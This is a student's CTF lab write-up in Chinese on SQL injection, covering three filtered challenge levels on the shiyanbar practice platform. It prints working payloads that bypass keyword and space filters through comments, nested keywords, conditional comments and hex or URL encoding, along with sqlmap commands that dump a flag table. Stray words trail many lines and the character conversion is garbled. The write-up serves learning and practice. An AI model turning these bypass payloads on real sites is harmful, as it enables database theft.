NF_Exp10_20164306

sql注入探索與實踐(免考題)

1、綜述

sql注入攻擊實質上是利用程序設計中的漏洞實現的php

若是代碼在引用sql語句以前,沒有對傳參內容進行控制,就容易被攻擊者利用web

本課題基於「實驗吧」提供的注入實驗平臺,對sql注入進行全面且深刻的探索性研究sql

由簡單到複雜,在三種過濾條件下分析sql注入方法數據庫

2、通常流程

我將實戰sql注入的通常流程簡述以下bash

1 關鍵字

首先枚舉輸入關鍵字,探索代碼過濾的具體內容,即明確哪些內容可做爲參數傳入sql語句工具

關鍵字包括但不限於數字、字母、特殊符號、sql運算符測試

2 sql語句

而後構造參數使得代碼引用sql語句時出現錯誤,經過錯誤信息對sql語句的具體內容進行判斷網站

即明確代碼具體引用了哪條或哪些sql語句編碼

3 表單結構

實戰中,爲了全面深刻地發掘信息,咱們可能須要利用代碼調用的sql語句探索表單結構甚至是數據庫結構spa

4 輔助工具

必要時,使用輔助工具(編碼、爆庫 etc.)

3、情境一

界面以下所示

首先嚐試輸入最簡單的注入代碼 'or 1='1

很幸運,數據庫直接就吐出了表單內容,能夠看到其中有ID和name兩個字段

猜想代碼只是簡單地調用了select語句,且沒有對輸入內容過濾

輸入sql語句進行測試,發現部分語句被過濾

能夠判斷代碼具備過濾機制,但並不完善,咱們能夠構造輸入內容繞過

不幸的是,當前表單中並無咱們想要的內容(flag),咱們須要對數據庫結構和其餘表單的內容進行探索

好在經過上述測試,咱們已經發現了代碼漏洞

只要構造出合適的輸入內容,咱們就能夠隨意地調用sql語句,查詢其餘表單中的內容

進一步實驗發現代碼對sql語句的過濾與空格有關

以上結果顯示,代碼過濾了and及and後的空格

同時,也有些sql語句不會被代碼處理,好比以前實驗中的or怎麼都不會被代碼過濾

保險起見,我在構造中用註釋替換所有空格

經過select database()來肯定當前的數據庫名

1' union/**/select/**/database()'

數據庫名爲web1

此外,也能夠用tab來繞過,可是%a0啥的不行

information_schema 是 MySQL 自帶的信息數據庫,用於存儲數據庫元數據(關於數據的數據)

數據庫名、表名、列的數據類型、訪問權限等都存儲在 information_schema 之中

嘗試經過information_schema獲取web1中的表單信息

1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/table_schema/**/='web1

然而報錯了

實驗發現,代碼對table_schema這個字段進行了過濾,可是information_schema是能夠正常輸入的

 乾脆就直接枚舉所有的表單

1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/'1'='1

找到了一個名爲flag的表單

獲取form flag中的所有內容

1' union/**/select/**/*/**/from/**/flag/**/where/**/'1'='1

提示字段數量不一致,無法在使用union鏈接的狀況下直接輸出

沒辦法,只好先查看flag中有哪些字段

1' union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag

information_schema.columns離奇消失,看來是被過濾了

大膽猜想字段名也是flag

1' union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

嗯這應該是咱們要找的東西

ps:後來發現能夠它不是經過判斷某個單詞,而是經過判斷整個關鍵字來過濾

經過關鍵字裏面套關鍵字的方法能夠完成字段查看(刪去套進去的內容後,留下的組合起來正常使用)

1' union/**/select/**/colucolumn_namemn_name/**/from/**/information_schema.coinformation_schema.columnslumns/**/where/**/table_name='flag

 

4、情境二

emmm,同樣的界面

嘗試最通常的 'or 1='1

好吧,開始測試被識別出的內容具體是啥

首先數字是沒有問題的

數字加字母也沒有問題

簡單測試sql語句和特殊符號

看來是直接過濾了空格字符

查詢數據庫名

1'/**/union/**/select/**/database()'

失敗

進一步發現是對部分sql語句進行了過濾

出現相應語句後直接禁止訪問,並非刪除後再提交,因此較難定位被檢測的語句,也較難構造輸入內容

繼續嘗試,輸入1'的時候提示sql語句出錯

綜合報錯信息和地址欄內容變化,猜想代碼實現原理是定位輸入框,獲取其中內容做爲sql查詢時使用的參數

網站源碼驗證了這一猜測

受到URL啓發,嘗試把字母(select)轉換成16進製表示,直接在地址欄中輸入

嘗試加入空字符(%00)

能夠經過加入空字符繞過過濾

修改一下代碼

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

使用%2B表示空格,在可能被過濾的單詞間加入%00

1'/**/uni%00on/**/sel%00ect/**/flag/**/from/**/flag/**/w%00here/**/'1'='1

直接在URL中輸入,提示錯誤,看來加%00不能從根本上解決問題

嘗試兩次ULR編碼加字母大寫,也沒法繞過

嘗試sql語句條件註釋,利用其選擇執行的性質把關鍵字輸入進去,獲得了flag

1'/*!union*//*!select*/flag/*!from*/flag/*!where*/'1'='1

注意到這裏的select仍然是原始狀態傳過去的,但沒被過濾

看來能夠利用php無法解釋sql註釋的bug繞過,直接用註釋替代所有空格,就能注入成功了

(暈,折騰半天后才發現最開始的輸入就能注入成功)

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

 五 情境三

仍是這個界面

直接嘗試用註釋和條件註釋繞過(失敗)

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

1'/*!union*//*!select*/flag/*!from*/flag/*!where*/'1'='1

條件註釋加16進制編碼

1'/*!u%6eion*//*!sel%65ct*/flag/*!%66rom*/flag/*!wh%65re*/'1'='1

測試關鍵字,發現竟然是數字1被過濾了

把數字1換成字母a,用URL編碼一次,再次嘗試(仍是 hello)

a%27%2F*%21u%6eion*%2F%2F*%21sel%65ct*%2Fflag%2F*%21%66rom*%2Fflag%2F*%21wh%65re*%2F%27a%27%3D%27a

瞭解到在1被過濾的狀況下,能夠藉助sqlmap工具進行注入

具體使用方法參考了別人的writeup,攻擊過程mark以下

獲得數據庫

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs

判斷數據庫正確性

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db

得到表名

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables  

得到flag表中字段

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --columns -T "flag"

dump具體內容

sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dump -C "flag" -T "flag"  

實質是一個暴力腳本,因此跑起來比較慢

跑完後獲得結果

六 總結

經過實踐對sql注入有了深刻的瞭解

除了說起的空格繞過、URL編碼,16進制編碼,sqlmap等方法,還有布爾盲注等其餘技巧可用於攻擊

只有深入理解原理,熟練掌握技巧,才能在實戰中游刃有餘

純手工sql注入任重道遠 

本站公眾號
   歡迎關注本站公眾號,獲取更多信息